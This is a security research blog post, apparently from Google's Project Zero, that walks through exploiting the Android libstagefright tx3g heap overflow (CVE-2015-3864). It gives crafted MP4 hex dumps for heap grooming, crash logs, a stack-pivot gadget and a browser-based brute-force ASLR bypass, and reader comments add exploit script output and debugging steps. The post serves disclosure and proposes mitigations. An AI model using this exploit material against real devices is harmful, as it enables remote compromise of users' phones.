Project Zero

News and updates from the Project Zero team at Google

Wednesday, September 16, 2015

Stagefrightened?

Posted by Mark Brand, Bypasser of Mitigations

There's been a lot of attention recently around a number of vulnerabilities in Android's libstagefright. There's been a lot of confusion about the remote exploitability of the issues, especially on modern devices. In this blog post we will demonstrate an exploit for one of the libstagefright vulnerabilities that works on recent Android versions (Android 5.0+ on Nexus 5).

The vulnerability (CVE-2015-3864) that we've chosen to exploit is an imperfect patch for one of the issues reported by Joshua Drake, which has been fixed for Nexus devices in the September bulletin. Several parties noticed the problem, including at least Exodus Intel and Natalie Silvanovich of Project Zero. It's a promising looking bug from an exploitation perspective: a linear heap-overflow giving the attacker control over the size of the allocation; the amount of overflow, and the contents of the overflowed memory region.

The vulnerable code is in handling the 'tx3g' chunk type when parsing MPEG4 video files. Here's the original vulnerable code:

Note when reading that `chunk_size` is a `uint64_t` that is parsed from the file; it's completely controlled by the attacker and is not validated with regards to the remaining data available in the file.

```
case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData(
            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
    uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
    if (size > 0) {
        memcpy(buffer, data, size);                   // <---- Oh dear.
    }
    if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
            < chunk_size) {
        delete[] buffer;
        buffer = NULL;
        return ERROR_IO;
    }
    mLastTrack->meta->setData(
            kKeyTextFormatData, 0, buffer, size + chunk_size);
    delete[] buffer;
    *offset += chunk_size;
    break;
}
```

And with the patch applied:

```
case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData(
            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
    if (SIZE_MAX - chunk_size <= size) { // <---- attempt to prevent overflow
        return ERROR_MALFORMED;
    }
    uint8_t *buffer = new uint8_t[size + chunk_size];
    if (size > 0) {
        memcpy(buffer, data, size);
    }
    if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
```

Search This Blog

Loading...

Labels

- antivirus

Archives

```
            < chunk_size) {
        delete[] buffer;
        buffer = NULL;
        return ERROR_IO;
    }
    mLastTrack->meta->setData(
            kKeyTextFormatData, 0, buffer, size + chunk_size);
    delete[] buffer;
    *offset += chunk_size;
    break;
}
```

The issue with this patch is that `chunk_size` actually doesn't have type `size_t`; it is a `uint64_t` even on 32-bit platforms (most Android devices are currently 32-bit, and currently the mediaserver is a 32-bit process even on 64-bit Android devices). While the check appears to a casual glance to be sufficient; it is not; `chunk_size` can be larger than `SIZE_MAX`, causing the check to pass.
My first step towards exploiting a bug is usually to establish proof-of-vulnerability; in this case we should definitely be able to crash the mediaserver by triggering this issue, so let's do just that and put together a simple crash case.

We first need a file that will be detected by libstagefright as an MPEG4 and parsed accordingly; looking at the file sniffing code, we need to start with an 'ftyp' chunk near the start of the file.

```
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d                                isom
```

Note the structure of the chunk; we have a 4-byte big-endian chunk size, and 4-byte tag followed by the chunk data.

Now, if we just add a 'tx3g' chunk, we'll encounter a different bug!

```
case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData( // <---- mLastTrack is NULL, SIGSEGV...
            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
```

So we need to have at least one track before we can actually reach the vulnerable code. The 'trak' chunk will initialise `mLastTrack`, and acts as a container for additional chunks.

New 'trak' chunk

```
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141                                AAAA
```

And highlighting the 'tx3g' chunk contained in the 'trak' chunk.

```
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141                                AAAA
```

So, this file will get us into the 'tx3g' case once; but it won't trigger the vulnerability. In order to do that, we need to visit the case again with another chunk, this time with a chunk_size large enough to trigger an overflow. Keeping things simple, we'll supply a `chunk_size` of -1 = 0xffffffffffffffff.

```
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff  AAAA....tx3g....
0000040: ffff ffff 4242 4242 4242 4242 4242 4242  ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
0000060: 4242 4242                                BBBB
```

Notice that the structure of this second chunk is a little different; we have to use the extended `chunk_size` code path triggered by a `chunk_size` of 1 in order to set the full 64-bit `chunk_size`.

We now have a simple file to trigger the issue; when I open this file in Chrome on my Nexus 5 with some extra debugging code, printing some useful information to the Android system logs:

```
MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
```

```
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130)
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148,
18446744073709551615)
```

We can clearly see here that the input file triggered two allocations by the parser on handling the two ‘tx3g’ chunks, and that we’re definitely writing data out-of-bounds of our allocated memory in the last two lines.

Since we’re only overflowing a handful of bytes, and the heap allocator in use on this Android version is based on jemalloc, it’s relatively unlikely that we’ll overwrite anything important and see a crash with such a small overwrite. Modifying the PoC file so that the parser will write a big old chunk of bytes instead should get us a demonstrable crash; that’s as simple as adding more ‘B’s to the end of the file and fixing up the chunk lengths; this is left as an exercise for the interested reader.

We need a few heap-manipulation primitives to get things set up in a dependable fashion. The first thing that I looked for was a primitive to allocate blocks of memory - this will be used for a number of different things in the exploit. Fortunately, there’s a good primitive available in the handling for ‘pssh’ chunks:

```
case FOURCC('p', 's', 's', 'h'):
{
    *offset += chunk_size;
    PsshInfo pssh;
    if (mDataSource->readAt(data_offset + 4, &pssh.uuid, 16) < 16) {
        return ERROR_IO;
    }
    uint32_t psshdatalen = 0;
    if (mDataSource->readAt(data_offset + 20, &psshdatalen, 4) < 4) {
        return ERROR_IO;
    }
    // pssh.datalen is set to a size we control
    pssh.datalen = ntohl(psshdatalen);
    ALOGV("pssh data size: %d", pssh.datalen);
    if (pssh.datalen + 20 > chunk_size) {
        // pssh data length exceeds size of containing box
        return ERROR_MALFORMED;
    }
    // pssh.data is an allocated block of memory of a size we control
    pssh.data = new (std::nothrow) uint8_t[pssh.datalen];
    if (pssh.data == NULL) {
        return ERROR_MALFORMED;
    }
    ALOGV("allocated pssh @ %p", pssh.data);
    ssize_t requested = (ssize_t) pssh.datalen;
    // now we read data we control into that allocation
    if (mDataSource->readAt(data_offset + 24, pssh.data, requested) < requested) {
        return ERROR_IO;
    }
    // and store it, so the allocation lives for the lifetime of our MPEG4Extractor
    // (these pssh blocks are in fact released in the destructor for the MPEG4Extractor)
    mPssh.push_back(pssh);
    break;
}
```

This is the first component of our heap-groom; we can use up any fragmented allocations in the size class that we want, ensuring that further allocations are likely to be contiguous.

Now we want a second primitive; allocations that we can control both the allocation and release of. There are a lot of places where allocations occur during parsing of the mp4, but the most useful for this purpose that I found were the handlers for two chunk types, ‘avcC’ and ‘hvcC’. When handling these chunk types, the parser will allocate a block of memory and store it; and replace that allocation with a new one when the parser encounters a second chunk of the same type.

```
case FOURCC('a', 'v', 'c', 'C'):
{
    *offset += chunk_size;
    sp<ABuffer> buffer = new ABuffer(chunk_data_size);
    if (mDataSource->readAt(
                data_offset, buffer->data(), chunk_data_size) < chunk_data_size) {
        return ERROR_IO;
    }
    // this internally copies buffer->data() into a buffer of size chunk_data_size, and
    // releases the previously stored data.
```

```
    mLastTrack->meta->setData(
            kKeyAVCC, kTypeAVCC, buffer->data(), chunk_data_size);
    break;
}
```

The plan to gain control of execution is to arrange for the overflow to overwrite an object of type MPEG4DataSource. This is an object of size 32 bytes (on my phone), which the parser allocates when it encounters an ‘stbl’ chunk. The new data source is then used for parsing all sub-chunks contained within the ‘stbl’ chunk. So our aim is to create the following situation:

```
case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData(
            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
    if (SIZE_MAX - chunk_size <= size) {
        return ERROR_MALFORMED;
    }
    // overflow here, so that size + chunk_size == 32 and size > 32
    uint8_t *buffer = new uint8_t[size + chunk_size];
    // buffer is allocated immediately before mDataSource
    if (size > 0) {
        // this will overflow and corrupt the mDataSource vtable
        memcpy(buffer, data, size);
    }
    // this call goes through the corrupt vtable, and we get control of execution
    if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
            < chunk_size) {
```

So, we need to arrange our heap carefully so that we can ensure a free space directly before the allocated `MPEG4DataSource`.

First we need to make a couple of small sized allocation chunks; a small ‘avcC’ chunk and ‘hvcC’ chunk. These trigger additional temporary allocations in sizes that will interfere with our groom allocations, so we get them out of the way before we start laying out memory.

```
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0028 7472 616b 0000 0010  isom... trak....
0000020: 6176 6343 4141 4141 4141 4141 0000 0010  avcCAAAAAAAA....
0000030: 6876 6343 4848 4848 4848 4848            hvcCHHHHHHHH
```

Then we will create our initial ‘tx3g’ allocation. This needs to be the size we’re going to write during the memcpy; we’ll make it 64 bytes for now, so that it completely overwrites the MPEG4DataSource object. The ‘2’s are the bytes that will be written outside the final 32 byte allocation as the result of the overflow.

```
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0068 7472 616b 0000 0010  isom...gtrak....
0000020: 6176 6343 4141 4141 4141 4141 0000 0010  avcCAAAAAAAA....
0000030: 6876 6343 4848 4848 4848 4848 0000 0040  hvcCHHHHHHHH...@
0000040: 7478 3367 3131 3131 3131 3131 3131 3131  tx3g111111111111
0000050: 3131 3131 3131 3131 3131 3131 3232 3232  1111111111112222
0000060: 3232 3232 3232 3232 3232 3232 3232 3232  2222222222222222
0000070: 3232 3232 3232 3232 3232 3232            222222222222
```

Now we’re ready to start preparing the heap. First we defragment for the targeted allocation size by allocating some ‘pssh’ blocks of the target size:

```
 _________________
| pssh | - | pssh |
``````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001 ....ftypisom....
...
0000070: 3232 3232 3232 3232 3232 3232 0000 0040 222222222222...@
0000080: 7073 7368 6c65 616b 3030 3030 3030 3030 psshleak00000000
0000090: 3030 3030 3030 3030 0000 0020 4c4c 4c4c 00000000... LLLL
00000a0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c LLLLLLLLLLLLLLLL
00000b0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c
...
```

These blocks have some internal structure; the only part that we are really concerned with is the size of the allocation and the data.

Then we allocate an avcC and hvcC block of the target size, which should hopefully be contiguous.
```

```
 _________________________
| pssh | - | pssh | avcC |
``````````````````````````

 ____
| pssh | - | pssh | avcC | hvcC |
`````````````````````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
0000170: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 0000 0028  LLLLLLLLLLLL...(
0000180: 6176 6343 4141 4141 4141 4141 4141 4141  avcCAAAAAAAAAAAA
0000190: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001a0: 4141 4141 0000 0028 6876 6343 4848 4848  AAAA...(hvcCHHHH
00001b0: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
00001c0: 4848 4848 4848 4848 4848 4848            HHHHHHHHHHHH
```

In actual fact, we have a temporary allocation occurring during parsing of the avcC and hvcC blocks, so the heap will actually look like this:

```
 _______________________________________
| pssh | - | pssh | .... | avcC | hvcC |
````````````````````````````````````````
```

So we need to allocate another pssh block to fill the space

```
 ____
| pssh | - | pssh | pssh | avcC | hvcC |
````````````````````````````````````````
```

We can then free the hvcC block and trigger the allocation of our target MPEG4DataSource

```
 _______________________________________
| pssh | - | pssh | pssh | avcC | .... |
````````````````````````````````````````

 ____
| pssh | - | pssh | pssh | avcC | MPEG4DataSource |
````````````````````````````````````````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
00001c0: 4848 4848 4848 4848 4848 4848 0000 0040  HHHHHHHHHHHH...@
00001d0: 7073 7368 6c65 616b 3030 3030 3030 3030  psshleak00000000
00001e0: 3030 3030 3030 3030 0000 0020 4c4c 4c4c  00000000... LLLL
00001f0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  LLLLLLLLLLLLLLLL
0000200: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 0000 0048  LLLLLLLLLLLL...H
0000210: 6876 6343 4848 4848 4848 4848 4848 4848  hvcCHHHHHHHHHHHH
0000220: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000230: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000240: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000250: 4848 4848 0000 0008 7374 626c            HHHH....stbl
```

Then inside our ‘stbl’ chunk we just need to release the ‘avcC’ chunk and trigger the ‘tx3g’ overflow.

```
 ___________________________________________________
| pssh | - | pssh | pssh | tx3g | MPEG4DataSource |
````````````````````````````````````````````````````

 ____
| pssh | - | pssh | pssh | tx3g ---------------------->
````````````````````````````````````````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
0000250: 4848 4848 0000 0060 7374 626c 0000 0048  HHHH...`stbl...H
0000260: 6176 6343 4141 4141 4141 4141 4141 4141  avcCAAAAAAAAAAAA
0000270: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000280: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000290: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002a0: 4141 4141 0000 0001 7478 3367 ffff ffff  AAAA....tx3g....
00002b0: ffff ffe0                                ....
```

Viewing the resulting file in a webpage in Chrome results in the following stack trace:

```
libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x3232324e in tid 3794 (mediaserver)
pid: 3794, tid: 3794, name: mediaserver  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x3232324e
    r0 b2e90220  r1 32323232  r2 000002a4  r3 00000000
    r4 b2e90240  r5 ffffffe0  r6 b2e90200  r7 00000000
    r8 fffd1da4  r9 bedcf6b8  sl b604b980  fp b604b9d4
    ip bedcece8  sp bedcf1c0  lr b67dff67  pc b67dff76  cpsr 600f0030

backtrace:
    #00 pc 0008ff76  /system/lib/libstagefright.so
```

```
(android::MPEG4Extractor::parseChunk(long long*, int)+7613)
    #01 pc 0008fac1  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
    #02 pc 0008fac1  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
    #03 pc 0008de7f  /system/lib/libstagefright.so (android::MPEG4Extractor::readMetaData()+78)
    #04 pc 0008de0b  /system/lib/libstagefright.so
(android::MPEG4Extractor::getMetaData()+8)
    #05 pc 000c0e6f  /system/lib/libstagefright.so (android::StagefrightMetadataRetriever::parseMetaData()+38)
```

Which is exactly what we were aiming for; we crashed trying to load a function address through the vtable pointer for our corrupted data source object.

Now we face what should be a serious challenge at this point; due to ASLR we have no idea where anything is in memory; we need somehow to get some data that we control somewhere that we can do something useful with. Due to the way that Linux/Android implements ASLR for mmap mappings, it is quite easy for us to get an allocation mapped at a predictable address; Jemalloc as configured on my Nexus 5 falls back to directly mmap'ing huge chunks for allocations above 0x40000 bytes.

The behaviour of mmap means that these allocations will simply occur down the address space linearly from a randomised start address. Since we have a very good idea how much space is going to be used already (loaded libraries and initial arena allocation), the randomisation just results in a relatively small window that we need to exhaust in order to get a predictable address. The code that implements the randomness (in arch/arm/mm/mmap.c) is as follows:

```
/* 8 bits of randomness in 20 address space bits */
if ((current->flags & PF_RANDOMIZE) &&
    !(current->personality & ADDR_NO_RANDOMIZE))
  random_factor = (get_random_int() % (1 << 8)) << PAGE_SHIFT;
```

So our mmap mappings can be anywhere (page aligned, of course) in an 0-0xff000 range from the maximum position that they can be placed; and we do not need to allocate much memory to exhaust this.

I was initially convinced that I must have misread something, so I coded up a quick test program to validate this:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <unistd.h>
#include <sys/mman.h>

#define ALLOC_SIZE  0xff000
#define ALLOC_COUNT 0x1

int main(int argc, char** argv) {
  int i = 0;
  char* min_ptr = (char*)0xffffffff;
  char* max_ptr = (char*)0;

  for (i = 0; i < ALLOC_COUNT; ++i) {
    char* ptr = mmap(NULL, ALLOC_SIZE,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1, 0);
    if (ptr < min_ptr) {
      fprintf(stderr, "new min: %p\n", ptr);
      min_ptr = ptr;
    }
    if (ptr + ALLOC_SIZE > max_ptr) {
      fprintf(stderr, "new max: %p\n", ptr + ALLOC_SIZE);
      max_ptr = ptr + ALLOC_SIZE;
    }

    memset(ptr, '\xcc', ALLOC_SIZE);
  }

  fprintf(stderr, "finished min: %p max %p\n", min_ptr, max_ptr);

  ((void(*)())0xf7500000)();
}
```

On my Ubuntu x86_64 desktop with /proc/sys/randomize_va_space == 2, compiling and running this as a 32-bit executable reliably results in the address 0xf7500000 being mapped and resulting in a SIGTRAP. Your mileage may vary... Similar tests on my Nexus 5 gave the same result. I knew that ASLR on 32-bit was always a bit shaky; but I didn't think it was this broken.

It's slightly less predictable in the mediaserver process, since large amounts of memory may have been used already in previous parsing; but we can reliably get data we control at a predictable address with a relatively small number of allocations.

After a bit of experimentation, it seemed that the best way to achieve this in practice is by wrapping a number of our ‘pssh’ chunks inside a valid sample table (‘stbl’). This triggers the creation of a caching MPEG4DataSource, which will then allocate and save all the data for the contained chunks; and will then be used to parse out the chunks. This essentially doubles the size of our spray, reducing the size of file needed.

Updating our mp4 to incorporate this page-spray and point the overwritten vtable pointer to our predictable address gets us one step further; control over the address called as the vtable function.

```
Fatal signal 11 (SIGSEGV), code 1, fault addr 0xc01db33e in tid 2223 (Binder_3)
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
pid: 2179, tid: 2223, name: Binder_3  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xc01db33e
     r0 b5967660  r1 b59676d8  r2 01000708  r3 00000000
     r4 b49ff570  r5 ffffff88  r6 c01db33f  r7 b49ff550
     r8 b586e240  r9 74783367  sl b49ffa78  fp b5967640
     ip 00000000  sp b49ff510  lr b66387d5  pc c01db33e  cpsr 400f0030
backtrace:
     #00 pc c01db33e  <unknown>
     #01 pc 000797d3  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+4610)
```

So now we have a controlled function call; without ASLR at this point it would be trivially game-over. All that would be needed for a reliable exploit is simply to redirect execution to a convenient gadget to stack pivot, and then build a ROP stack.

Disabling ASLR in the system config I fairly quickly found a useful trick to pivot the stack (our function call is a vtable call, so we will always have r0 set as the `this` object, pointing to our corrupted `MPEG4DataSource`).

Inside longjmp in libc.so, we have the following instruction sequence

```
.text:00013344    ADD          R2, R0, #0x4C
.text:00013348    LDMIA        R2, {R4, R5, R6, R7, R8, R9, R10, R11, R12, SP, LR}
.text:0001334C    TEQ          SP, #0
.text:00013350    TEQNE        LR, #0
.text:00013354    BEQ          botch_0 ; we won't take this branch, as we control lr
.text:00013358    MOV          R0, R1
.text:0001335C    TEQ          R0, #0
.text:00013360    MOVEQ        R0, #1
.text:00013364    BX           LR
```

This will load most of the registers, including the stack pointer, from an offset on r0, which points to data we control. At this point it’s then trivial to complete the exploit with a ROP chain to allocate some RWX memory, copy in shellcode and jump to it using only functions and gadgets from within libc.so.

Having completed an exploit that works with ASLR disabled, I was planning/expecting to spend a while longer looking for a cunning technique to reliably leverage the issue for a practical exploit without tampering with system settings. I started to investigate a number of different avenues, some of which were more promising than others. My usual preferred next step would be to try and leverage this overflow to construct an infoleak to get the information we need about the process.  Since the mediaserver is a background process that we’re interacting with in a fairly detached way, this would likely pose a significant effort. One idea considered was the use of an m3u playlist file, which should be able to request remote files; if we could then corrupt some of the data responsible for handling that playlist, we might be able to leverage that to leak data. Another thought was that the metadata extracted from parsing the file is likely used by the html5 <video> elements; if we could, for example, store a pointer value in place of the length of the video, we could leak this from javascript in a browser context, and serve up a second video customised based on this leak.

Since we do not know the randomised values for the most-significant bytes of an address, we would instead perform a partial overwrite; corrupting only the least-significant byte or bytes of a pointer. I looked at partially overwriting a function pointer on the heap - there were some function pointers that could be overwritten, but they were all allocated early in the process startup, rather than during parsing of the mp4 file, and grooming was going to be problematic. I then looked at partially overwriting a vtable pointer instead. As our exploit so far is reliably corrupting a vtable pointer, it’s not a problem to adjust this to simply overwrite the least-significant byte of that vtable pointer instead. The vtables in the libstagefright library are positioned close to the GOT (Global Offset Table) which is used heavily in position-independent executables, and this means that we have a choice of a very wide range of functions that we could call instead of the intended function; this could be as subtle as creating a type-confusion with our MPEG4DataSource and another DataSource type. Continuing with the exploit at this point is looking like an extensive assessment of available functions in (and imported by) the compiled stagefright code to find one which will be useful to us...

We do have an alternative; albeit an inelegant one. The mediaserver process will respawn after a crash, and there is 8 bits of entropy in the libc.so base address. This means that we can take a very straightforward approach to bypassing ASLR. We simply choose one of the 256 possible base addresses for libc.so, and write our exploit and ROP stack assuming that layout. Launching the exploit from the browser, we use javascript to keep refreshing the page, and wait for a callback. Eventually memory will be laid out as we expect, bypassing ASLR with brute force in a practical enough way for real-world exploitation.

This is only possible because we can achieve a highly reliable heap-spray to get data we control at a known address, **independent** of the process randomisation. If we had to brute-force two addresses here, the address of our known data and the libc base, this would be less practical.

It’s also interesting to note that the mediaserver is a special case, at least on my test phone; it isn’t cloned from a zygote process, but is instead directly execve’ed - this means that the address space is re-randomised on every exploit attempt. As a result our brute force is not deterministic, and we can’t put a guaranteed upper-bound on time to exploit.

I did some extended testing on my Nexus 5; and results were pretty much as expected. In 4096 exploit attempts I got 15 successful callbacks; the shortest time-to-successful-exploit was lucky, at around 30 seconds, and the longest was over an hour. Given that the mediaserver process is throttled to launching once every 5 seconds, and the chance of success is 1/256 per attempt, this gives us a ~4% chance of a successful exploit each minute.

So, while it could be more elegant, reliable and effective to use a more sophisticated technique to exploit this bug without requiring a brute-force; it turns out that it’s not really necessary. It’s not unreasonable for a real-world watering hole attack to get a user to browse a page long enough for the exploit to succeed, especially through in-app adverts using WebView.

During the last few weeks spent developing this exploit, there were a couple of additional hardening measures that we discussed internally to Project Zero, and have shared as suggestions to the Android security team.

- Hardened mmap implementation. Chrome’s PartitionAlloc augments the weak randomisation provided by mmap(NULL, …) calls; Android could do a similar thing. This would dramatically reduce the effectiveness of the heap-spray, making it harder for an attacker to gain that crucial ‘controlled data at a known address’ leveraged in this exploit.
- Further hardening libc implementation. Existing libc implementations have implemented pointer mangling for their setjmp/longjmp and similar functions; this has two security benefits. Firstly it protects against corruption of jmp_buf structures, and secondly it prevents an attacker from using these functions as one-stop ROP gadget/stack pivot.

Neither of these are ‘hard’ mitigations; their implementation won’t prove non-exploitability of future memory corruption vulnerabilities on Android devices, but their adoption should increase the cost for attackers in developing reliable exploits for future Android vulnerabilities; and that will be a welcome success.

Posted by Ben at 11:30 AM



## 13 comments:

**RickP** September 17, 2015 at 7:15 AM

Chrome for Android requires user interaction for media playback. Did you disable this in chrome://flags to be able to "try until win" with your exploit?

Reply

**Mark Brand** September 18, 2015 at 1:50 AM

No; no user interaction is required; and no modification of chrome://flags. It's exploiting during the initial parse of the media file, not the playback; so it's triggered when the page containing the media file loads. Parsing has to happen at that point in order to display the duration of the video; it's not necessary to click play first.

Reply

**Unknown** September 19, 2015 at 4:53 AM

I am new to Android and integer overflows and have two questions, I think they might be helpful to understand for other visitors also:

1) do i understand it correctly, if i change the second chunk size from -1 to -24 (0xffffffffffffffe8)

MP4 file like this:

```
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001 ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018 isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141 tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff AAAA....tx3g....
0000040: ffff ffe8 4242 4242 4242 4242 4242 4242 ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
0000060: 4242 4242
```

I will be allocating 0 bytes memory for the buffer and lib will be writing out of bounds (24 bytes). I am using Android 5.0.2 (cyanogenmod) and it behaves very weird after I open such a file.

How can I debug it or view logs on my android device? It is rooted.

2) in regards to your exploit, which libc.so should I use, one from Android device?

To run the exploit I copied the libc.so from Android to the working directory. However pop_r0_r1_r2_r3_pc and pop_r4_r5_r6_r7_pc cannot be found. I hardcoded them to 0xffffffff just to see if it runs further. How to properly get those values?

Example Execution:

./mp4_stagefright_release.py

[*] memcpy : 0xb6ecdc08
[*] mmap64 : 0xb6ed42ed
b6ecd034: e280204c add r2, r0, #76 ; 0x4c
b6ecd038: e8927ff0 ldm r2, {r4, r5, r6, r7, r8, r9, sl, fp, ip, sp, lr}
b6ecd03c: e33d0000 teq sp, #0
b6ecd040: 133e0000 teqne lr, #0
3068973108
[*] stack_pivot : 0xb6ecd034
b6f0f784: e49df004 pop {pc} ; (ldr pc, [sp], #4)
[*] pop_pc : 0xb6f0f784
[*] pop_r0_r1_r2_r3_pc : 0xffffffff
[*] pop_r4_r5_r6_r7_pc : 0xffffffff
b6f1015c: e59de040 ldr lr, [sp, #64] ; 0x40
b6f10160: e28dd048 add sp, sp, #72 ; 0x48
b6f10164: e12fff1e bx lr
[17/Sep/2015:22:21:01] ENGINE Listening for SIGHUP.
[17/Sep/2015:22:21:01] ENGINE Listening for SIGTERM.
[17/Sep/2015:22:21:01] ENGINE Listening for SIGUSR1.
[17/Sep/2015:22:21:01] ENGINE Bus STARTING
CherryPy Checker:
The Application mounted at '' has an empty config.

[17/Sep/2015:22:21:01] ENGINE Started monitor thread 'Autoreloader'.
[17/Sep/2015:22:21:01] ENGINE Started monitor thread '_TimeoutMonitor'.
[17/Sep/2015:22:21:02] ENGINE Serving on http://0.0.0.0:8080
[17/Sep/2015:22:21:02] ENGINE Bus STARTED

Thanks,

Reply

**Mark Brand** September 21, 2015 at 7:17 AM

You can view the crash logs as they occur by using logcat (http://developer.android.com/tools/help/logcat.html). Most builds of cyanogenmod are userdebug builds, so you should also have gdbserver on the device. You can then setup port-forwarding and debug using a gdb build that has arm support from your host.

adb forward tcp:12345 tcp:12345
adb shell
gdbserver :12345 --attach `pidof mediaserver`

and then on host
gdb
set architecture arm
target remote localhost:12345

You should indeed just copy libc.so from your device to the local folder. pop_r0_r1_r2_r3_pc and pop_r4_r5_r6_r7_pc are instruction sequences that are needed for the rop chain used in the exploit; to fix the exploit for your device you'd need to rewrite the rop chain using different instructions instead.

Reply

Replies

**Unknown** September 21, 2015 at 11:44 AM

Thanks!!!! That's great! You don't have to publish this post since it is a beginner level and I don't want to spam this blog entry. Feel free to edit it when necessary. Can I contact you directly?

I am attached with the debugger to my "mediaserver" process.

Phone:

root@laptop:~# adb forward tcp:12345 tcp:12345
root@laptop:~# adb shell
shell@s3ve3g:/ $ su
root@s3ve3g:/ # gdbserver :12345 --attach `pidof mediaserver`
Attached; pid = 260
Listening on port 12345
Remote debugging from host 127.0.0.1

and on the host:

user@laptop:~$ gdb-multiarch

GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) set architecture arm
Es wird angenommen, dass die Ziel-Architektur arm ist
(gdb) target remote localhost:12345
Remote debugging using localhost:12345
0xb6ee5a38 in ?? ()
(gdb)

How do I set a breakpoint/inspect that integer overflow, vulnerable code with gdb?

I read about arm exploitation and debugging, but there is not much about debugging a running process (compiled without debug symbols, function names etc). Do you know some good materials/tutorial?

Thanks,

---

**Reply**

**Unknown** September 26, 2015 at 7:32 AM

Update to my last post:

